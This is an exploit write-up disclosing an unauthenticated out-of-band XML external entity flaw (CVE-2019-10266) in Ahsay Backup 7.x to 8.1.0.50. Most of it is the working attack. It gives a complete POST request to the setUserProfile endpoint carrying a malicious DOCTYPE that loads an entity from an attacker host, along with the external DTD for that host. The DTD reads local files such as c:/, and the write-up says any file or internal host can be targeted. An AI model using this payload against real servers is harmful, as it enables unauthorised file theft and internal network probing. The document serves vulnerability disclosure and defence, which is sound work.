Ahsay Backup 7.x / 8.x XML Injection

`# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50.   
# Date: 26-6-2019  
# Exploit Author: Wietse Boonstra  
# Vendor Homepage: https://ahsay.com  
# Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe  
# Version: 7.x < 8.1.0.50  
# Tested on: Windows / Linux  
# CVE : CVE-2019-10266  
  
#Ahsay is vulnerable to a OOB Unauthenticated XML External Entity  
#More info https://www.wbsec.nl/ahsay/#CVE-2019-10263  
  
Sending the following POST request will trigger the XXE:  
  
POST /obs/obm8/user/setUserProfile HTTP/1.1  
Content-Type: application/octet-stream  
Content-Length: 126  
Host: 172.16.238.213:80  
  
<?xml version="1.0"?>  
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>  
  
On http://attacker/oob add the following content:  
  
<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY %  
trick SYSTEM 'file://:%payl;/%payl;'>">  
  
Here it is possible to change file:///c:/ to any directory/file or internal host.  
`